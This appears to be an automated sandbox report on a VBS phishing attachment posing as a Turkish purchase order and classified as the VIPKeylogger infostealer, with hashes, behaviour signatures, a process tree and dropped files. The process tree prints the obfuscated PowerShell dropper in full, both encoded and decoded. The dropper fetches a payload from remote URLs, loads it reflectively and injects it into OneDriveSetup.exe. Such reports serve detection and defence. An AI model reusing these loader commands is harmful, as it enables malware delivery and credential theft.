Analysis

  • max time kernel
    117s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-11-2024 18:18

General

  • Target

    Yeni sipariş _TR-59647-WJO-001.vbs

  • Size

    11KB

  • MD5

    2c6472b80d9ffbbb9a68c8dc0ff6fb19

  • SHA1

    a7c487f72bb59453014912b36610d254452fa87a

  • SHA256

    c35fb5adc491eb8c62504f7d88e8809a7d273b29851a6a66b6155936d07acea3

  • SHA512

    f541e67826d489f8b6694ead8486acbf6dc64fbbf624006404a842549b896a0590170a68dba624fd3c99dfc3772d7390deed23479700e2cb3354e5b20fd054b4

  • SSDEEP

    192:TXHapAOg8/W/MnmbKMpuLMEyTeFQnu3mdOLkL7Fi:TXjU8k3mOkw

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Yeni sipariş _TR-59647-WJO-001.vbs"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4764
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lhkienstecrzljq.vbs"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4244
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdGdktpbWFnZVVybCA9IHdGbGh0dHBzOi8vMTAxNy5maWxlbWFpbC4nKydjb20vYXBpLycrJ2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NCcrJzUxNzZhMDkwNGYgd0ZsO0Z2S3dlYkNsaWVudCA9JysnIE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JysnRnZLaW1hZ2VCeXRlcyA9IEZ2S3dlYkNsaWVuJysndC5Eb3dubG9hJysnZERhdGEoRnZLaW1hZ2VVcmwpO0Z2S2ltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEZ2S2ltYWdlQnl0ZScrJ3MpO0Z2S3N0YXJ0RmxhZyA9IHdGbDw8QkFTRTY0X1NUQVJUPj53Rmw7RnZLZW5kRmxhZyA9IHdGbDw8QkFTRTY0X0VORD4+d0ZsO0Z2S3N0YXJ0SW5kZXggPSBGdktpbWFnZVRleCcrJ3QuSW5kZXhPZihGdktzdGFydEZsYWcpO0Z2S2VuZEluZGV4ID0gRnZLaW1hZ2VUZXh0LkluZGV4T2YoRnZLZW5kRmxhZyk7RnZLc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIEZ2S2VuZEluZGV4IC1ndCBGdktzdGFydEluZGV4O0Z2S3N0YXJ0SW5kZXggKz0gRnZLc3RhcnRGbGFnLkxlbmd0aDtGdicrJ0tiYXNlNjRMZW5ndGggPSBGdktlbmRJbmRleCAtIEZ2S3N0YXJ0SW5kZXg7RnZLYmFzZTY0Q29tbWFuZCA9IEZ2S2ltYWdlVGV4dC5TdWJzdHJpbmcoRnZLc3RhcnRJbmQnKydleCwgRnZLYmFzZTY0TGVuZ3RoKTtGdktiYScrJ3NlNjRSZScrJ3ZlcnNlZCA9IC1qb2luIChGdktiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgOFh2IEZvckVhY2gtT2JqZWN0IHsgRnZLXyB9KVsnKyctMS4uLShGdktiYXNlNjRDb21tYW5kLkxlbmd0aCldO0Z2S2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydCcrJ106OkZyb21CYXMnKydlNjRTdHJpbmcoRnZLYicrJ2FzZTY0UmV2ZXJzZWQpO0Z2S2xvYWRlZEFzc2VtYmx5ID0nKycgW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChGJysndktjb21tYW5kQnl0ZXMpO0Z2S3ZhaU1ldGhvZCcrJyA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2Qod0ZsVkFJd0ZsKTtGJysndkt2YWlNZXRob2QuSW52b2tlKEZ2S251bGwsIEAodycrJ0ZsdHh0LmRzdGVwL3BvcC91ZS5wcmcnKyd4YW15Z3JlbmUuZ2lnLy86cHR0aHdGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsMXdGbCwgdycrJ0ZsT25lRHJpdmVTZXR1cHdGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCx3RmxkZXNhdGl2YWRvd0ZsLHdGbGRlc2F0aXZhZG93Rmwsd0ZsZGVzYXRpdmFkb3dGbCx3Rmwxd0ZsLHdGbGRlc2F0aXZhZG93RmwpKScrJzsnKS5SZXBsQWNFKCd3RmwnLFtzVFJJbkddW0NoQXJdMzkpLlJlcGxBY0UoKFtDaEFyXTcwK1tDaEFyXTExOCtbQ2hBcl03NSksJyQnKS5SZXBsQWNFKChbQ2hBcl01NitbQ2hBcl04OCtbQ2hBcl0xMTgpLCd8JykgfCYgKCAkVkVSYm9zZXByZUZlcmVuQ2UuVG9zVFJJbkcoKVsxLDNdKydYJy1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2828
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('FvKimageUrl = wFlhttps://1017.filemail.'+'com/api/'+'file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c173094'+'5176a0904f wFl;FvKwebClient ='+' New-Object System.Net.WebClient;'+'FvKimageBytes = FvKwebClien'+'t.Downloa'+'dData(FvKimageUrl);FvKimageText = [System.Text.Encoding]::UTF8.GetString(FvKimageByte'+'s);FvKstartFlag = wFl<<BASE64_START>>wFl;FvKendFlag = wFl<<BASE64_END>>wFl;FvKstartIndex = FvKimageTex'+'t.IndexOf(FvKstartFlag);FvKendIndex = FvKimageText.IndexOf(FvKendFlag);FvKstartIndex -ge '+'0 -and FvKendIndex -gt FvKstartIndex;FvKstartIndex += FvKstartFlag.Length;Fv'+'Kbase64Length = FvKendIndex - FvKstartIndex;FvKbase64Command = FvKimageText.Substring(FvKstartInd'+'ex, FvKbase64Length);FvKba'+'se64Re'+'versed = -join (FvKbase64Command.ToCharArray() 8Xv ForEach-Object { FvK_ })['+'-1..-(FvKbase64Command.Length)];FvKcommandBytes = [System.Convert'+']::FromBas'+'e64String(FvKb'+'ase64Reversed);FvKloadedAssembly ='+' [System.Reflectio'+'n.Assembly]::Load(F'+'vKcommandBytes);FvKvaiMethod'+' = [dnlib.IO.Home].GetMethod(wFlVAIwFl);F'+'vKvaiMethod.Invoke(FvKnull, @(w'+'Fltxt.dstep/pop/ue.prg'+'xamygrene.gig//:ptthwFl, wFldesativadowFl, wFldesativadowFl, wFldesativadowFl, wFldesativadowFl, wFl1wFl, w'+'FlOneDriveSetupwFl, wFldesativadowFl, wFldesativadowFl,wFldesativadowFl,wFldesativadowFl,wFldesativadowFl,wFl1wFl,wFldesativadowFl))'+';').ReplAcE('wFl',[sTRInG][ChAr]39).ReplAcE(([ChAr]70+[ChAr]118+[ChAr]75),'$').ReplAcE(([ChAr]56+[ChAr]88+[ChAr]118),'|') |& ( $VERbosepreFerenCe.TosTRInG()[1,3]+'X'-JoIN'')"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4928
          • C:\Windows\SysWOW64\OneDriveSetup.exe
            "C:\Windows\SysWOW64\OneDriveSetup.exe"
            5⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:2808

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    1a11402783a8686e08f8fa987dd07bca

    SHA1

    580df3865059f4e2d8be10644590317336d146ce

    SHA256

    9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

    SHA512

    5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5vupbvid.twr.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\lhkienstecrzljq.vbs

    Filesize

    1KB

    MD5

    a82f4032d41676a0b73ed0812494840e

    SHA1

    72dc7035344b30d2430fb851f383070dc3d1e364

    SHA256

    b03c7f247ea3d720f27e34e0975cb0b3a04100a2222bc86bce6c210eb8d352d0

    SHA512

    42c3a17ec824725cd157ba4af541b2c3d36c371297e836906de4f9e310a8d9f8bfeb9a835e1d0eb39807d11422c20fa1d54875065c2188874678776c0124ba01

  • memory/2808-31-0x0000000007360000-0x00000000073B0000-memory.dmp

    Filesize

    320KB

  • memory/2808-24-0x0000000000400000-0x0000000000437000-memory.dmp

    Filesize

    220KB

  • memory/2808-30-0x0000000000400000-0x0000000000437000-memory.dmp

    Filesize

    220KB

  • memory/2808-32-0x0000000007AD0000-0x0000000008074000-memory.dmp

    Filesize

    5.6MB

  • memory/2808-33-0x00000000073F0000-0x000000000743E000-memory.dmp

    Filesize

    312KB

  • memory/2808-34-0x0000000007520000-0x00000000075BC000-memory.dmp

    Filesize

    624KB

  • memory/2808-35-0x0000000008960000-0x0000000008B22000-memory.dmp

    Filesize

    1.8MB

  • memory/2808-36-0x0000000008800000-0x0000000008850000-memory.dmp

    Filesize

    320KB

  • memory/2808-37-0x0000000009060000-0x000000000958C000-memory.dmp

    Filesize

    5.2MB

  • memory/2808-38-0x0000000009690000-0x0000000009722000-memory.dmp

    Filesize

    584KB

  • memory/2808-39-0x0000000008CC0000-0x0000000008CCA000-memory.dmp

    Filesize

    40KB

  • memory/2828-4-0x000001E2EC3E0000-0x000001E2EC402000-memory.dmp

    Filesize

    136KB

  • memory/4928-23-0x00000202AC1E0000-0x00000202AC338000-memory.dmp

    Filesize

    1.3MB